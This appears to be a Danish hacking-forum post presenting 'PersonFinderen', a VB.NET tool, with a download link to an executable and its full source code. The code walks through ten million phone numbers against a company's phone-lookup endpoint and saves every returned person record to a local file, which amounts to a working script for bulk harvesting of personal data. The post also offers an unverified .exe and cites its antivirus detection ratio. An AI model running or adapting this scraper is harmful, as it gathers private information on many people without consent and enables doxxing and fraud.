18-05-2016, 19:58
PersonFinderen - v1
PersonFinderen er et redskab som jeg har programmeret for at lære min lillebror et simplet sprog som vb.net.
Selve projektet kan bruges til at skrabe andre apier ligende ellers kan koden let modificeres til at skrabe andre API'er.
Program instrukser:
Lav en folder i C:\ som hedder "PSFR" og gå så ind i folderen "PSFR" og lav et tekst dokument som hedder list.txt
Lav en folder i C:\ som hedder "PSFR" og gå så ind i folderen "PSFR" og lav et tekst dokument som hedder list.txt
Eksempel: C:\PSFR\list.txt
- tip: Alle skrabede personer ryger ind i list.txt
Du kan download mit program her:
DOWNLOAD: PersonFinder.exe
(uploaded til updo.nl)
(uploaded til updo.nl)
SHA256: 8881689362ba41719ce58c6679be245a95ae0af9fc8e105b565ff3474f61cdc8
Filnavn: PersonFinder.exe
Opdagelses forhold: 1 / 55
Kildekode:
Spoiler (Click to View)
Imports System.Net
Imports System.IO
Imports System.Text
Module Module1
'Skrevet af Jstraif @ shellsec.pw
'Bruger reklamation.fk.dk linket
Sub Main()
Dim intInput As Integer = 0
Do
Integer.TryParse(Menu, intInput)
Select Case intInput
Case 1
Console.Title = "Person Finder v1 - Person scanner"
Dim range_start = 31209000
Dim range_exit = 31209000 + 10000000
Dim wc As New WebClient()
For x As Integer = range_start To range_exit
Dim stringtemp = wc.DownloadString("http://reklamation.fk.dk/fk_reklamation/DataServlet?do=tlflookup&firmanr=7&lang=da&telefonnr=" & x)
If stringtemp <> "" Then
Console.Write(stringtemp)
Dim write As StringBuilder = New StringBuilder()
write.AppendLine(stringtemp)
File.AppendAllText("C:\PSFR\list.txt", write.ToString()) 'gemmer til listen
write.Length = 0
End If
Next
Exit Select
Case 2
Exit Sub
End Select
Loop
End Sub
Function Menu() As Char
Console.Clear()
Console.Title = "Person Finder v1 - Menu"
Console.WriteLine("")
Console.WriteLine("Person Finderen v1")
Console.WriteLine("==========================")
Console.WriteLine("1. Skrab Personliste")
Console.WriteLine("2. Luk Application" & vbNewLine)
Console.WriteLine("==========================")
Console.WriteLine("Tryk en kommando:")
Dim s As ConsoleKeyInfo = Console.ReadKey
Return s.KeyChar
End Function
End Module
Jeg håber i synse det er et sejt første post. Det er ihvertifald noget som jeg lavede for min lillebror for at lære ham lidt.